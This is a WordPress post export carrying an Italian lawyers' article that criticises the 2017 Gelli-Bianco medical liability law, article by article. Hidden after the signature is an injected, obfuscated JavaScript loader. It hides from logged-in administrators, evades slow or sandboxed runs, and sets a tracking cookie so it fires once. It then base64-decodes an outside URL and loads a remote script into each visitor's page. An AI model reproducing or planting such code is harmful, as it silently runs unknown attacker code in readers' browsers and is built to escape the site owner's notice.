{"id":25605,"date":"2017-07-05T07:36:41","date_gmt":"2017-07-05T07:36:41","guid":{"rendered":"http:\/\/dimariamalasanita.it\/?p=25605"},"modified":"2026-04-15T05:48:41","modified_gmt":"2026-04-15T05:48:41","slug":"legge-8-marzo-2017","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=25605","title":{"rendered":"Legge 8 marzo 2017 &#8211; Ibis redibis non morieris in bello"},"content":{"rendered":"<p><strong><u>La Legge 8 marzo 2017, n. 24 (cosiddetta legge Gelli-Bianco): un esempio di analfabetismo, purtroppo non solo giuridico.<\/u><\/strong><\/p>\n<p><em>Ibis redibis non morieris in bello. <\/em>Il responso della Sibilla cumana \u2013 al confronto della legge Gelli \u2013 appare un raro esempio di univoca chiarezza! Peccato per\u00f2 che a far le spese di una legge che, a pieno titolo, potrebbe entrare nel museo degli orrori del diritto, saranno i due protagonisti di questa amena riforma: i <strong>medici <\/strong>e i <strong>pazienti.<\/strong><\/p>\n<p>La nuova disciplina di \u201c<em>disarticolante contraddittoriet\u00e0<\/em>\u201d (cos\u00ec testualmente Cassazione penale, 7 giugno 2017, n. 28187) si propone il dichiarato obiettivo di garantire la sicurezza delle cure e di debellare la \u201cmedicina difensiva\u201d, ossia la prescrizione di esami inutili che i medici sarebbero indotti ad effettuare nel timore di essere oggetto di denunce da parte dei pazienti.<\/p>\n<p>Per far credere all\u2019opinione pubblica che il primo obiettivo \u2013 quello della sicurezza delle cure \u2013 era stato raggiunto, non si \u00e8 trovato niente di meglio che esercitarsi in solenni, roboanti affermazioni di principio, svuotate per\u00f2 di qualunque concreto contenuto.<\/p>\n<p>Per conseguire il secondo risultato (sconfiggere la \u201cmedicina difensiva\u201d e, conseguentemente, ridurre i costi del servizio sanitario nazionale) il dichiarato proposito era quello di <strong>\u201calleggerire\u201d<\/strong> la responsabilit\u00e0 penale dei medici.<\/p>\n<p>Analizziamo pochi ma qualificanti punti di questo salvifico intervento legislativo.<\/p>\n<p><strong>Sicurezza delle cure, Garante della salute, Osservatorio nazionale delle buone pratiche sulla salute nella sanit\u00e0, trasparenza dei dati (articoli da 1 a 4).<\/strong><\/p>\n<p>Si tratta di norme puramente declamatorie senza alcuna efficacia pratica. Vediamo.<\/p>\n<p>L\u2019art. 2 \u2013 nel prevedere l\u2019istituzione del Garante della Salute, compito da affidarsi al Difensore Civico Regionale \u2013 dispone laconicamente che le Regioni <strong>\u201cpossono\u201d<\/strong> affidare tale incarico al Difensore, cos\u00ec di fatto rimettendo alla loro diligenza e buona volont\u00e0 la concreta attuazione di tale altisonante figura di garanzia.<\/p>\n<p>L\u2019art. 3 dispone\u00a0 che \u2013 previa intesa tra Stato, Regioni e le provincie autonome di Trento e Bolzano e senza maggiori oneri per la finanza pubblica \u2013 venga istituito l\u2019Osservatorio Nazionale delle buone pratiche sulla sicurezza nella sanit\u00e0. E\u2019 agevole prevedere che \u2013 dati i presupposti \u2013 tale norma rimarr\u00e0 tra i buoni propositi inattuati della riforma.<\/p>\n<p>L\u2019art. 4, meritoriamente, prevede che la documentazione sanitaria debba essere fornita al paziente entro sette gironi dalla richiesta, giorni che per\u00f2 possano diventare trenta per eventuali integrazioni. E quale sanzione \u00e8 prevista \u2013 si chiede l\u2019ingenuo paziente \u2013 nel caso in cui la struttura sanitaria non adempia ai propri obblighi nei tempi previsti? Ovviamente nessuna, \u00e8 la risposta: si tratta di un obbligo che non prevede sanzioni per la sua trasgressione. Fattispecie, quest\u2019ultima, \u00a0di grande efficacia dissuasiva, come ognuno sa.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Responsabilit\u00e0 penale dei sanitari<\/strong><\/p>\n<p>Si trattava di <strong>\u201calleggerirla\u201d<\/strong> \u2013 come si \u00e8 gi\u00e0 detto \u2013 per contrastare la \u201cmedicina difensiva\u201d.<\/p>\n<p>Bene. L\u2019art. 3, comma 1, della Legge 8 novembre 2012, n. 189 (cosiddetta legge Balduzzi) aveva operato la distinzione \u2013 a proposito dei sanitari che si fossero attenuti alle linee guida e alle buone pratiche \u2013 tra colpa <strong>lieve<\/strong> e colpa <strong>grave<\/strong>, decriminalizzando le condotte connotate da colpa lieve. Insomma, residuava la responsabilit\u00e0 penale <strong>solo per colpa grave.<\/strong><\/p>\n<p>Ora, la nuova legge Gelli-Bianco ha abrogato l\u2019art. 3, comma 1, della Balduzzi\u00a0 implicando \u201c<em>la reviviscenza, sotto tale riguardo, della previgente, <strong>pi\u00f9 severa normativa<\/strong> che, per l\u2019appunto, non consentiva distinzioni connesse al grado della colpa\u201d <\/em>(Cassazione penale, 7 giugno 2017, n. 28287 gi\u00e0 citata).<\/p>\n<p>Conclusione. La normativa precedente \u2013 lo dice la Suprema Corte \u2013 era <strong>pi\u00f9 favorevole<\/strong> ai medici perch\u00e9 ne limitava la responsabilit\u00e0 penale ai <strong>soli casi di colpa grave<\/strong> mentre ora essi rispondono penalmente anche per <strong>colpa lieve<\/strong>.<\/p>\n<p><strong>Azione di rivalsa nei confronti dei sanitari<\/strong><\/p>\n<p>Sempre nel lodevole intento di limitare la responsabilit\u00e0 \u2013 anche economica \u2013 dei sanitari, l\u2019art. 9 della Gelli-Bianco prevede (o, meglio, vorrebbe prevedere) che l\u2019azione di regresso nei loro confronti (ove sia stata accertata la loro responsabilit\u00e0 per dolo o colpa grave) non possa superare una somma pari a 3 volte il valore della retribuzione lorda annua. Cos\u00ec, se un medico percepisse una retribuzione lorda annua di \u20ac 50.000, l\u2019azione di rivalsa nei suoi confronti non potrebbe superare i 150.000 euro (50.000 x 3 = 150.000).<\/p>\n<p>Questo l\u2019obiettivo dichiarato. Ma cosa dice esattamente la norma? Essa prevede che la retribuzione lorda annua (nell\u2019esempio precedente: \u20ac 50.000) debba essere <strong>\u201c<em>moltiplicata per il triplo<\/em>\u201d<\/strong>.<\/p>\n<p>E allora: 50.000 x 150.000 (il triplo) = 7 miliardi e 500 mila euro.<\/p>\n<p>Niente male come limitazione della responsabilit\u00e0 civile!<\/p>\n<p>Parafrasando Pericle si potrebbe dire che se ad Atene le leggi non le fanno i sellai a Roma, forse, non siamo altrettanto fortunati.<\/p>\n<p><strong><em>Avv. Franco Di Maria<\/em><\/strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong><em>\u00a0Avv. Vincenza Pin\u00f2<\/em><\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La Legge 8 marzo 2017, n. 24 (cosiddetta legge Gelli-Bianco): un esempio di analfabetismo, purtroppo non solo giuridico. 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